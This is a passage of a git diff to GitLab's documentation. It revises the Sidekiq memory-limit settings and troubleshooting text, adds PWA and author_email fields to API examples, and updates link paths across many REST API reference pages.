`SIDEKIQ_MEMORY_KILLER_MAX_RSS` (KB): if this variable is set, and its value is greater - than 0, the MemoryKiller is enabled. Otherwise the MemoryKiller is disabled. - - `SIDEKIQ_MEMORY_KILLER_MAX_RSS` defines the Sidekiq process allowed RSS. - - If the Sidekiq process exceeds the allowed RSS for longer than - `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` the graceful restart is triggered. If the - Sidekiq process go below the allowed RSS within `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`, - the restart is aborted. - - The default value for Omnibus packages is set - [in the Omnibus GitLab repository](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-cookbooks/gitlab/attributes/default.rb). - -- `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` (KB): If the Sidekiq - process RSS (expressed in kilobytes) exceeds `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS`, - an immediate graceful restart of Sidekiq is triggered. - -- `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL`: Define how - often to check process RSS, default to 3 seconds. - -- `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`: defaults to 900 seconds (15 minutes). - The usage of this variable is described as part of `SIDEKIQ_MEMORY_KILLER_MAX_RSS`. - -- `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT`: defaults to 30 seconds. This defines the - maximum time allowed for all Sidekiq jobs to finish. No new jobs are accepted - during that time, and the process exits as soon as all jobs finish. - - If jobs do not finish during that time, the MemoryKiller interrupts all currently - running jobs by sending `SIGTERM` to the Sidekiq process. - - If the process hard shutdown/restart is not performed by Sidekiq, - the Sidekiq process is forcefully terminated after - `Sidekiq[:timeout] + 2` seconds. An external supervision mechanism - (for example, runit) must restart Sidekiq afterwards. +## Configuring the limits + +Sidekiq memory limits are controlled using environment variables. + +- `SIDEKIQ_MEMORY_KILLER_MAX_RSS` (KB): defines the Sidekiq process soft limit for allowed RSS. + If the Sidekiq process RSS (expressed in kilobytes) exceeds `SIDEKIQ_MEMORY_KILLER_MAX_RSS`, + for longer than `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`, the graceful restart is triggered. + If `SIDEKIQ_MEMORY_KILLER_MAX_RSS` is not set, or its value is set to 0, the soft limit is not monitored. + `SIDEKIQ_MEMORY_KILLER_MAX_RSS` defaults to `2000000`. + +- `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`: defines the grace time period in seconds for which the Sidekiq process is allowed to run + above the allowed RSS soft limit. If the Sidekiq process goes below the allowed RSS (soft limit) + within `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`, the restart is aborted. Default value is 900 seconds (15 minutes). + +- `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` (KB): defines the Sidekiq process hard limit for allowed RSS. + If the Sidekiq process RSS (expressed in kilobytes) exceeds `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS`, + an immediate graceful restart of Sidekiq is triggered. If this value is not set, or set to 0, + the hard limit is not be monitored. + +- `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL`: defines how often to check the process RSS. Defaults to 3 seconds. + +- `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT`: defines the maximum time allowed for all Sidekiq jobs to finish. + No new jobs are accepted during that time. Defaults to 30 seconds. + + If the process restart is not performed by Sidekiq, the Sidekiq process is forcefully terminated after + [Sidekiq shutdown timeout](https://github.com/mperham/sidekiq/wiki/Signals#term) (defaults to 25 seconds) +2 seconds. + If jobs do not finish during that time, all currently running jobs are interrupted with a `SIGTERM` signal + sent to the Sidekiq process. + +- `GITLAB_MEMORY_WATCHDOG_ENABLED`: enabled by default. Set the `GITLAB_MEMORY_WATCHDOG_ENABLED` to false, to use legacy + Daemon Sidekiq Memory Killer implementation used prior GitLab 15.9. Support for setting `GITLAB_MEMORY_WATCHDOG_ENABLED` + will be removed in GitLab 16.0. + +### Monitor worker restarts + +GitLab emits log events if workers are restarted due to high memory usage. + +The following is an example of one of these log events in `/var/log/gitlab/gitlab-rails/sidekiq_client.log`: + +```json +{ + "severity": "WARN", + "time": "2023-02-04T09:45:16.173Z", + "correlation_id": null, + "pid": 2725, + "worker_id": "sidekiq_1", + "memwd_handler_class": "Gitlab::Memory::Watchdog::SidekiqHandler", + "memwd_sleep_time_s": 3, + "memwd_rss_bytes": 1079683247, + "memwd_max_rss_bytes": 629145600, + "memwd_max_strikes": 5, + "memwd_cur_strikes": 6, + "message": "rss memory limit exceeded", + "running_jobs": [ + { + jid: "83efb701c59547ee42ff7068", + worker_class: "Ci::DeleteObjectsWorker" + }, + { + jid: "c3a74503dc2637f8f9445dd3", + worker_class: "Ci::ArchiveTraceWorker" + } + ] +} +``` + +Where: + +- `memwd_rss_bytes` is the actual amount of memory consumed. +- `memwd_max_rss_bytes` is the RSS limit set through `per_worker_max_memory_mb`. +- `running jobs` lists the jobs that were running at the time when the process + exceeded the RSS limit and started a graceful restart. diff --git a/doc/administration/sidekiq/sidekiq_troubleshooting.md b/doc/administration/sidekiq/sidekiq_troubleshooting.md index b261e385949..8b95a9f6f0a 100644 --- a/doc/administration/sidekiq/sidekiq_troubleshooting.md +++ b/doc/administration/sidekiq/sidekiq_troubleshooting.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Sidekiq is the background job processor GitLab uses to asynchronously run tasks. When things go wrong it can be difficult to troubleshoot. These situations also tend to be high-pressure because a production system job queue -may be filling up. Users will notice when this happens because new branches +may be filling up. Users notice when this happens because new branches may not show up and merge requests may not be updated. The following are some troubleshooting steps to help you diagnose the bottleneck. @@ -105,7 +105,7 @@ Gather data on the state of the Sidekiq workers with the following Ruby script. If the performance issue is intermittent: - - Run this in a cron job every five minutes. Write the files to a location with enough space: allow for 500KB per file. + - Run this in a cron job every five minutes. Write the files to a location with enough space: allow for 500 KB per file. - Refer back to the data to see what went wrong. 1. Analyze the output. The following commands assume that you have a directory of output files. @@ -269,7 +269,7 @@ corresponding Ruby code where this is happening. `gdb` can be another effective tool for debugging Sidekiq. It gives you a little more interactive way to look at each thread and see what's causing problems. -Attaching to a process with `gdb` suspends the normal operation +Attaching to a process with `gdb` suspends the standard operation of the process (Sidekiq does not process jobs while `gdb` is attached). Start by attaching to the Sidekiq PID: diff --git a/doc/administration/system_hooks.md b/doc/administration/system_hooks.md index 038c26a9c2e..ddfa9fe9860 100644 --- a/doc/administration/system_hooks.md +++ b/doc/administration/system_hooks.md @@ -133,7 +133,7 @@ X-Gitlab-Event: System Hook } ``` -Note that `project_rename` is not triggered if the namespace changes. +`project_rename` is not triggered if the namespace changes. Refer to `group_rename` and `user_rename` for that case. **Project transferred:** diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 0cd34ca16df..ddee79046f6 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -10,7 +10,7 @@ This was the GitLab Support Team's collection of information regarding the GitLa console, for use while troubleshooting. It is listed here for posterity, as most content has been moved to feature-specific troubleshooting pages and sections, see epic [&8147](https://gitlab.com/groups/gitlab-org/-/epics/8147#tree). -Please update your bookmarks accordingly. +You may want to update your bookmarks accordingly. If you are currently having an issue with GitLab, it is highly recommended that you first check diff --git a/doc/administration/troubleshooting/test_environments.md b/doc/administration/troubleshooting/test_environments.md index c4d191f8c0f..63ccbce9480 100644 --- a/doc/administration/troubleshooting/test_environments.md +++ b/doc/administration/troubleshooting/test_environments.md @@ -87,7 +87,7 @@ docker.elastic.co/elasticsearch/elasticsearch:5.5.1 ``` Then confirm it works in the browser at `curl "http://<IP_ADDRESS>:9200/_cat/health"`. -Elasticsearch's default username is `elastic` and password is `changeme`. +In Elasticsearch, the default username is `elastic`, and the default password is `changeme`. ### Kroki diff --git a/doc/api/access_requests.md b/doc/api/access_requests.md index 9eab35a32d8..8f8f6881162 100644 --- a/doc/api/access_requests.md +++ b/doc/api/access_requests.md @@ -30,7 +30,7 @@ GET /projects/:id/access_requests | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | Example request: @@ -73,7 +73,7 @@ POST /projects/:id/access_requests | Attribute | Type | Required | Description | | --------- | -------------- | -------- |-----------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group or project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group or project](rest/index.md#namespaced-path-encoding) | Example request: @@ -106,7 +106,7 @@ PUT /projects/:id/access_requests/:user_id/approve | Attribute | Type | Required | Description | | -------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the access requester | | `access_level` | integer | no | A valid access level (defaults: `30`, the Developer role) | @@ -141,7 +141,7 @@ DELETE /projects/:id/access_requests/:user_id | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the access requester | Example request: diff --git a/doc/api/alert_management_alerts.md b/doc/api/alert_management_alerts.md index 702d453e140..c4293cc76f1 100644 --- a/doc/api/alert_management_alerts.md +++ b/doc/api/alert_management_alerts.md @@ -17,7 +17,7 @@ POST /projects/:id/alert_management_alerts/:alert_iid/metric_images | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `alert_iid` | integer | yes | The internal ID of a project's alert. | ```shell @@ -46,7 +46,7 @@ GET /projects/:id/alert_management_alerts/:alert_iid/metric_images | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `alert_iid` | integer | yes | The internal ID of a project's alert. | ```shell @@ -84,7 +84,7 @@ PUT /projects/:id/alert_management_alerts/:alert_iid/metric_images/:image_id | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `alert_iid` | integer | yes | The internal ID of a project's alert. | | `image_id` | integer | yes | The ID of the image. | | `url` | string | no | The URL to view more metrics information. | @@ -115,7 +115,7 @@ DELETE /projects/:id/alert_management_alerts/:alert_iid/metric_images/:image_id | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `alert_iid` | integer | yes | The internal ID of a project's alert. | | `image_id` | integer | yes | The ID of the image. | diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md index 531d679a34d..b7c1def0ba4 100644 --- a/doc/api/api_resources.md +++ b/doc/api/api_resources.md @@ -40,6 +40,7 @@ The following API resources are available in the project context: | [Deploy tokens](deploy_tokens.md) | `/projects/:id/deploy_tokens` (also available for groups and standalone) | | [Deployments](deployments.md) | `/projects/:id/deployments` | | [Discussions](discussions.md) (threaded comments) | `/projects/:id/issues/.../discussions`, `/projects/:id/snippets/.../discussions`, `/projects/:id/merge_requests/.../discussions`, `/projects/:id/commits/.../discussions` (also available for groups) | +| [Draft Notes](draft_notes.md) (comments) | `/projects/:id/merge_requests/.../draft_notes` | [Environments](environments.md) | `/projects/:id/environments` | | [Error Tracking](error_tracking.md) | `/projects/:id/error_tracking/settings` | | [Events](events.md) | `/projects/:id/events` (also available for users and standalone) | @@ -134,6 +135,7 @@ The following API resources are available in the group context: | [Issues](issues.md) | `/groups/:id/issues` (also available for projects and standalone) | | [Issues Statistics](issues_statistics.md) | `/groups/:id/issues_statistics` (also available for projects and standalone) | | [Linked epics](linked_epics.md) | `/groups/:id/epics/.../related_epics` | +| [Member Roles](member_roles.md) | `/groups/:id/member_roles` | | [Members](members.md) | `/groups/:id/members` (also available for projects) | | [Merge requests](merge_requests.md) | `/groups/:id/merge_requests` (also available for projects and standalone) | | [Notes](notes.md) (comments) | `/groups/:id/epics/.../notes` (also available for projects) | diff --git a/doc/api/appearance.md b/doc/api/appearance.md index eb88ec5e1b3..94fb092c739 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -29,8 +29,10 @@ Example response: ```json { "title": "GitLab Test Instance", - "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_name": "GitLab PWA", + "pwa_short_name": "GitLab", + "pwa_description": "GitLab as PWA", "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", @@ -56,8 +58,10 @@ PUT /application/appearance | Attribute | Type | Required | Description | | --------------------------------- | ------- | -------- | ----------- | | `title` | string | no | Instance title on the sign in / sign up page -| `pwa_short_name` | string | no | Optional, short name for Progressive Web App | `description` | string | no | Markdown text shown on the sign in / sign up page +| `pwa_name` | string | no | Full name of the Progressive Web App. Used for the attribute `name` in `manifest.json`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. +| `pwa_short_name` | string | no | Short name for Progressive Web App. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. +| `pwa_description` | string | no | An explanation of what the Progressive Web App does. Used for the attribute `description` in `manifest.json`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | `pwa_icon` | mixed | no | Icon used for Progressive Web App. See [Change logo](#change-logo). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo) | `header_logo` | mixed | no | Instance image used for the main navigation bar @@ -79,8 +83,10 @@ Example response: ```json { "title": "GitLab Test Instance", - "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_name": "GitLab PWA", + "pwa_short_name": "GitLab", + "pwa_description": "GitLab as PWA", "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md index db89262c84f..fec719b189c 100644 --- a/doc/api/audit_events.md +++ b/doc/api/audit_events.md @@ -6,14 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Audit Events API **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/121) in GitLab 12.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/121) in GitLab 12.4. +> - [Author Email added to the response body](https://gitlab.com/gitlab-org/gitlab/-/issues/386322) in GitLab 15.9. ## Instance Audit Events **(PREMIUM SELF)** The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events). This API cannot retrieve group or project audit events. -To retrieve audit events using the API, you must [authenticate yourself](index.md#authentication) as an Administrator. +To retrieve audit events using the API, you must [authenticate yourself](rest/index.md#authentication) as an Administrator. ### Retrieve all instance audit events @@ -31,7 +32,7 @@ GET /audit_events By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/audit_events" @@ -49,6 +50,7 @@ Example response: "details": { "custom_message": "Project archived", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs/flight", "target_type": "Project", "target_details": "flightjs/flight", @@ -65,6 +67,7 @@ Example response: "details": { "add": "group", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs", "target_type": "Group", "target_details": "flightjs", @@ -83,6 +86,7 @@ Example response: "from": "hello@flightjs.com", "to": "maintainer@flightjs.com", "author_name": "Andreas", + "author_email": "admin@example.com", "target_id": 51, "target_type": "User", "target_details": "Andreas", @@ -119,6 +123,7 @@ Example response: "details": { "custom_message": "Project archived", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs/flight", "target_type": "Project", "target_details": "flightjs/flight", @@ -142,7 +147,7 @@ A user with: - The Owner role can retrieve group audit events of all users. - The Developer or Maintainer role is limited to group audit events based on their individual actions. -This endpoint supports both offset-based and [keyset-based](index.md#keyset-based-pagination) pagination. Keyset-based +This endpoint supports both offset-based and [keyset-based](rest/index.md#keyset-based-pagination) pagination. Keyset-based pagination is recommended when requesting consecutive pages of results. ### Retrieve all group audit events @@ -153,14 +158,14 @@ GET /groups/:id/audit_events | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `created_after` | string | no | Return group audit events created on or after the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ)` | | `created_before` | string | no | Return group audit events created on or before the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/groups/60/audit_events" @@ -178,6 +183,7 @@ Example response: "details": { "custom_message": "Group marked for deletion", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs", "target_type": "Group", "target_details": "flightjs", @@ -194,6 +200,7 @@ Example response: "details": { "add": "group", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs", "target_type": "Group", "target_details": "flightjs", @@ -215,7 +222,7 @@ GET /groups/:id/audit_events/:audit_event_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `audit_event_id` | integer | yes | The ID of the audit event | ```shell @@ -233,6 +240,7 @@ Example response: "details": { "custom_message": "Group marked for deletion", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": "flightjs", "target_type": "Group", "target_details": "flightjs", @@ -260,14 +268,14 @@ GET /projects/:id/audit_events | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `created_after` | string | no | Return project audit events created on or after the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | | `created_before` | string | no | Return project audit events created on or before the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events" @@ -287,6 +295,7 @@ Example response: "from": "", "to": "true", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": 7, "target_type": "Project", "target_details": "twitter/typeahead-js", @@ -305,6 +314,7 @@ Example response: "from": "false", "to": "true", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": 7, "target_type": "Project", "target_details": "twitter/typeahead-js", @@ -326,7 +336,7 @@ GET /projects/:id/audit_events/:audit_event_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `audit_event_id` | integer | yes | The ID of the audit event | ```shell @@ -346,6 +356,7 @@ Example response: "from": "", "to": "true", "author_name": "Administrator", + "author_email": "admin@example.com", "target_id": 7, "target_type": "Project", "target_details": "twitter/typeahead-js", diff --git a/doc/api/award_emoji.md b/doc/api/award_emoji.md index 9d0b8945c53..a669c6d00c3 100644 --- a/doc/api/award_emoji.md +++ b/doc/api/award_emoji.md @@ -38,7 +38,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. | Example request: @@ -103,7 +103,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. | | `award_id` | integer | yes | ID of the award emoji. | @@ -148,7 +148,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. | | `name` | string | yes | Name of the emoji without colons. | @@ -193,7 +193,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. | | `award_id` | integer | yes | ID of an award emoji. | @@ -225,7 +225,7 @@ Parameters: | Attribute | Type | Required | Description | |:------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | Internal ID of an issue. | | `note_id` | integer | yes | ID of a comment (note). | @@ -273,7 +273,7 @@ Parameters: | Attribute | Type | Required | Description | |:------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | Internal ID of an issue. | | `note_id` | integer | yes | ID of a comment (note). | | `award_id` | integer | yes | ID of the award emoji. | @@ -317,7 +317,7 @@ Parameters: | Attribute | Type | Required | Description | |:------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | Internal ID of an issue. | | `note_id` | integer | yes | ID of a comment (note). | | `name` | string | yes | Name of the emoji without colons. | @@ -363,7 +363,7 @@ Parameters: | Attribute | Type | Required | Description | |:------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | Internal ID of an issue. | | `note_id` | integer | yes | ID of a comment (note). | | `award_id` | integer | yes | ID of an award emoji. | diff --git a/doc/api/boards.md b/doc/api/boards.md index 79f5cca4a0d..00ab9a7b9cb 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -21,7 +21,7 @@ GET /projects/:id/boards | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/boards" @@ -105,7 +105,7 @@ GET /projects/:id/boards/:board_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -182,7 +182,7 @@ POST /projects/:id/boards | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the new board | ```shell @@ -225,7 +225,7 @@ PUT /projects/:id/boards/:board_id | Attribute | Type | Required | Description | | ---------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `name` | string | no | The new name of the board | | `assignee_id` **(PREMIUM)** | integer | no | The assignee the board should be scoped to | @@ -305,7 +305,7 @@ DELETE /projects/:id/boards/:board_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -323,7 +323,7 @@ GET /projects/:id/boards/:board_id/lists | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -383,7 +383,7 @@ GET /projects/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id`| integer | yes | The ID of a board's list | @@ -418,7 +418,7 @@ POST /projects/:id/boards/:board_id/lists | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `label_id` | integer | no | The ID of a label | | `assignee_id` **(PREMIUM)** | integer | no | The ID of a user | @@ -461,7 +461,7 @@ PUT /projects/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id` | integer | yes | The ID of a board's list | | `position` | integer | yes | The position of the list | @@ -497,7 +497,7 @@ DELETE /projects/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id` | integer | yes | The ID of a board's list | diff --git a/doc/api/branches.md b/doc/api/branches.md index 0c9df88cf85..f99c4443ac8 100644 --- a/doc/api/branches.md +++ b/doc/api/branches.md @@ -26,8 +26,9 @@ Parameters: | 